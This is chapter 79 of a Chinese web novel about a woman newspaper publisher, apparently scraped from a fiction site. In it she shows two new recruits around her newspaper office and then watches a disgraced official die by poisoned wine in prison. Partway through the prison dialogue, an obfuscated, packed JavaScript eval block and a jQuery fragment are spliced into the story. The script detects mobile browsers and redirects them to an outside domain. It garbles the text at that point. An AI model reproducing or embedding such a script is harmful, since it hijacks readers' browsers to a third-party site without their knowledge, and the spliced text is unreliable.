79. 最后关卡
作品:《黎民日报》 时间如白驹过隙,眨眼之间,孟允抒从张府归来已是一月有余。在她将全部证据移交给许昭之后,这桩牵动整个朝廷的大案便与她再无瓜葛,就连许昭都因品级不够而只能作为协办人辅助刑部尚书进行调查,孟允抒偶尔才能从他那里听到关于案情进展的只言片语。
据许昭所说,梅姨娘虽然算是程玄平的帮凶,但她并没有主动做过什么伤天害理的事,反而为侦破此案立下了汗马功劳,能够将功补过;再加上张府中的众多女子都主动请求减轻梅姨娘的刑罚,最后皇上亲自下旨,只让她在刑部大牢待上三个月,以示惩戒。
至于程玄平带领的那群旧党成员,他们早在刑部开展调查之初就被关进了大牢;在随后的查案过程中,又有不少潜藏的贪腐受贿的官员落马,刑部根据这些人的罪行轻重,依次对他们作出了判决。
所以,在这段时间内,孟允抒将全部精力都放在了“让报社恢复正常经营”和“帮没有着落的女子找工作”这两件事上。
“我们到了。”孟允抒在报社门前下了车,又伸出手去搀扶马车上的两名姑娘,“两位姐姐小心。”
这两个女子分别叫做金婕、陈玉宛。当然,对孟允抒来说,她们各自拥有一个让她更熟悉的名字。
金桂、玉兰。
但这些名字都一并被封进了张府的深宅大院当中,因此她对它们绝口不提。
金婕下了马车,突如其来的强光刺激令她不得不眯起眼睛,用手搭在额前,抬头看向匾额上四个遒劲有力的大字。
“黎民报社”。
前两日孟允抒去福济坊时,她见金婕和陈玉宛都是一副欲言又止的样子。在她的追问下,金婕率先开了口,告诉孟允抒她们两人都对报业很感兴趣,问孟允抒是否能带她们去报社参观,她们想亲眼看看它的日常运作是何种模样。
毕竟在她们进入张府的时候,报业还尚未成为一个正式的行当。
孟允抒在张府的那段时间内,金婕和陈玉宛曾对她多加照拂,两人在那次帮她阻止张老爷的行动中也功不可没,而且她隐约觉得,这两人有成为报人的潜能。
因此,孟允抒不但对她们的请求欣然应允,更是主动提出让她们在报社中实地体验一段时间,向报社成员学习各种知识与技能。若她们能够通过下次的招聘考核,她们还可以继续留在黎民报社,成为正式员工。
于是,一行人便一同出现在了报社门前。
孟允抒踏上报社门前的台阶,见金婕和陈玉宛都还待在原地踌躇不前,便折返回去将她们拽了过来,笑着宽慰她们道:“二位姐姐不必担忧。若是黎民报社的诸位对你们有偏见,那我们之前就不可能帮你们刊载那些寻找营生的广告了。”
陈玉宛局促地笑了笑:“话是这么说,但我们贸然前来打扰,肯定会给你们添不少麻烦。”
“不妨事,我们这里的人,有哪个不是从新手学起的?”
孟允抒带她们一步步踩着台阶,跨过报社的门槛,冲着柜台后方的年轻姑娘笑道:“秋掌柜,这便是我为你说的那两位新人,请您过目。”
秋盈嗔怪似地说了孟允抒两句,而后将面前的两人打量一番,在自我介绍后又问了几个简单的问题。
接着,她满意地点点头,对孟允抒笑道:“既然这两位姑娘都是你带来的人,那我也不必再细细盘问她们什么。你先带她们去编修堂吧,这会催雪和谨言都不甚忙。”
“这位秋掌柜好生厉害。”金婕由衷地赞叹道,“她身为女子却能掌管这么大的店铺,一丝不乱,当真令人佩服。”
“只要姐姐肯学,你有朝一日也能和她一样。”孟允抒笑着揭起了秋盈的短,“她过去可比玉宛姐姐还要谨小慎微,做什么事都束手束脚,完全没有现在的从容。”
在孟允抒的玩笑话当中,金婕和陈玉宛逐渐放松下来,和她一起站在了编修堂门前。
孟允抒轻叩着大门,却无人应答。她听见里面传来一阵嘈杂的声音,估摸着他们可能正在忙着干活,听不见她的敲门声,索性一把推开了大门:“萧——”
一瞬间,她与盛催雪还有萧谨言面面相觑。
此时萧谨言的胳膊还被盛催雪反拧在身后,他一面龇牙咧嘴,一面又极力对到访的陌生客人露出礼貌的微笑。
孟允抒也对他们二人笑了笑,同时“砰”地一声关上了大门。
陈玉宛犹豫地问道:“刚才那两人就是秋掌柜口中的萧主编、盛副主编吗?”
“是。”孟允抒保持着僵硬的微笑,大言不惭地说道,“方才那只是个意外。”
完了,她在外人面前的伟岸社长形象全毁了。
她这个月要扣他俩的工钱!
无数道声音在孟允抒内心翻涌,但她表面上还是若无其事地重新推开门,萧谨言和盛催雪已经回到了各自的座位上,规规矩矩地坐正了身子。
在孟允抒说明来意后,萧谨言和盛催雪滔滔不绝地向两人讲起了编辑部的职能与工作内容等,像是试图用繁杂的信息淹没方才的小插曲。
随着他们的讲述,金婕和陈玉宛听得入了神,在频频点头之余还试探性地提出一些她们的疑惑。
孟允抒见状松了口气,说到底萧谨言和盛催雪的实力过硬,但愿他俩能因此在她们心中树立威信。
“社长。”
孟允抒的肩膀突然被人从后面拍了一下,她回头看向排云,她给自己递了个眼色,示意孟允抒跟着她去外面说话。
两人在院中站定,排云压低声音对孟允抒说道:“社长,今早皇上下旨赐死程玄平,他说他想在临死前见你最后一面,所以刑部派人来报社给你送信。那人正在门外等候,你要不要……”
孟允抒略一思索,给出了肯定答复。
“我和他较了这么久的劲,他现在即将上路,我也是该送送他。”孟允抒向排云交代道,“你先不要对外声张此事,以免为大家造成恐慌。你帮我招待好两位新人,我去去就来。”
在狱卒的接引下,孟允抒走进程玄平的牢房当中。房间光线昏暗,其正中放着一张不大的矮桌,许昭与程玄平正隔桌对坐,两人相顾无言,为本就冰冷的空气镀上一层刺骨的寒意。
她和许昭交换了一个眼神,而后向程玄平行了个常礼:“程大人。”
“孟社长来了。”程玄平抬起头对她笑了笑,他脸上凌乱的发丝和伤痕干扰了孟允抒的判断,令她难以分辨这个笑容的意味。
孟允抒不咸不淡地回应道:“程大人邀我来此处一叙,我不能不从。”
程玄平伸出手做了一个邀请的动作,那副气定神闲的模样让孟允抒有种他们只是在府中聚会的错觉。
“既然如此,孟社长不必拘礼,请坐。”
孟允抒在许昭身旁坐下,她面前的那张桌子上只有一个盛满酒的杯盏,吸引了她全部的目光。
“陛下对我还算网开一面,他念及我是朝中老臣,故而为我留足了情面,赐了这杯鸩酒让我自行了断。”程玄平向孟允抒解释了这杯酒的来历,转而切入正题,“孟社长,还有许大人。既然你们都已经到齐了,就容我耽搁你们二位一些时间,说上几句话。”
孟允抒点头道:“程大人请讲。”
如今程玄平已经是穷途末路,或许正是因此,他们双方没了之前那种剑拔弩张的氛围,反而充满了礼貌与平和。
他问了第一个问题:“雪梅现在的情况如何?”
他说这句话时的语气平静,就像是在询问一个事不关己的人的现状,没有包含孟允抒预想中的那样浓烈的爱恨情仇。
“她很好。”许昭回答,“再过不到两个月,她就能从这里出去。”
此前为了防止程玄平动什么歪心思,刑部的所有人都不会向他传递关于外界的任何消息,直到现在他才有机会得知梅姨娘的情况。
“如此便好。”程玄平淡然一笑,神情上终于现出一丝波澜,“如果可以的话,我想拜托二位替我转告她一句话。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039623|176687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他没有等待许昭和孟允抒给出答复,自作主张地说了下去。
“好好活着,想做什么就去做吧。”
这句话不是控诉,也不是致歉,更没有表达他的爱意,它更像是一道嘱托,一个判决结果。
梅姨娘的大半辈子都与程玄平绑在一起,他们的爱恨交织,恩怨纠葛,就这样不断地撕扯翻搅着他们对彼此的感情,最终算出来一笔糊涂账,谁也说不清到底是谁负债累累。
所以,程玄平索性将它一笔勾销,将选择的自由还给了梅姨娘。
孟允抒只觉得心里五味杂陈。当初的恩爱眷侣走到今天这样的境地,着实令人唏嘘。
她抬起头,最终没能忍住问出那个在她心中潜藏已久的问题。
“程大人,你后悔吗?或者说,你知错了吗?”
程玄平点点头,又摇摇头。
“孟社长,我当年和你,还有许大人一样年轻,一样意气风发。”程玄平笑了起来,“雪梅应当对你们讲述过我这些年的经历。我没能坚持我的初衷,也未能实现我的抱负,所以,我很遗憾。”
程玄平这样说着,语调却并不沉重,这显然与他话中的内容背道而驰。
“但我并不认为我有错。若是重来一次,我依然会做同样的事,因为我别无选择。”
程玄平抬眼看向许昭,又打量了孟允抒一番。
“许大人,孟社长。你们还没有被逼到山穷水尽的时候,还从未陷入走投无路的绝境,因此不认同我说的话,这实属正常。但我想给你们提个醒。”
“在这场棋局当中,根本没有彻头彻尾的赢家。我只是比你们输得更早些。”程玄平摆出了一副戏谑的神情,这才让孟允抒觉得他还是往日那种令人生厌的模样,“想必不用我说你们也知道,这次你们是顺了陛下的心意,故而能借势侥幸取胜,可没人能肯定下次站在陛下对面的人不是你们。到那时,坐在我这个位置上的人就是你们二位。”
这话听着像是一句恐吓,但他说得确实不错。
“我和允抒都知道。”许昭没有对他这番话作出任何回应,沉声问他,“程大人,你还有什么想说的吗?时候快要过了。”
“许大人,你说话还是这样不中听。”程玄平大笑着,用双手端起桌上的酒杯,向孟允抒和许昭做出敬酒的动作,“但是,我祝你们能走完那条我没能走下去的路。”
他的情绪高昂,孟允抒听不出这到底是一句讥讽的话,还是应了那句“人之将死,其言也善”的俗语,只是一则单纯的临别赠言。
“二位,我先行一步。”
说罢,程玄平仰起脖子,将杯中的酒一饮而尽。
孟允抒心中莫名生出一股恐慌。
她坐在原位,不到一分钟内,程玄平脸上便浮现出痛苦与挣扎的神色,因窒息而掐住自己的脖颈。渐渐地,他没了挣扎的力气,一头栽在面前的矮桌上,鲜血从他的七窍中缓缓流出。
孟允抒还是第一次眼睁睁地看着一条生命消逝在自己眼前,而刚才那人还在说话,半年以前他还曾到访许府,被许昭气得面红耳赤。
几名狱卒上前来收拾残局,孟允抒则脚步虚浮,面色苍白,被许昭搀扶着出了刑部大牢。在重新呼吸到新鲜空气,沐浴着正午的暖阳时,她这才稳住了心神。
而在这个过程中,许昭也显得比平时沉默许多,情绪像是受到了程玄平的影响。
“我没事了,你回去吧。”孟允抒向许昭告辞,“报社里还有些事等着我处理。”
“若你的身体实在不适,就不要再强撑了,先回府休息。”许昭停顿片刻,像是在纠结是否应该说出下文。
最后,他还是说了下去:“因为明日还有一件要事等着你去做。”
孟允抒愣怔地看向许昭,他的表情是前所未有的沉重与忧虑,连他攥着自己胳膊的手都加重了力道。
“允抒,我刚收到皇上的口谕。明日午时,他要你去勤政殿见他。”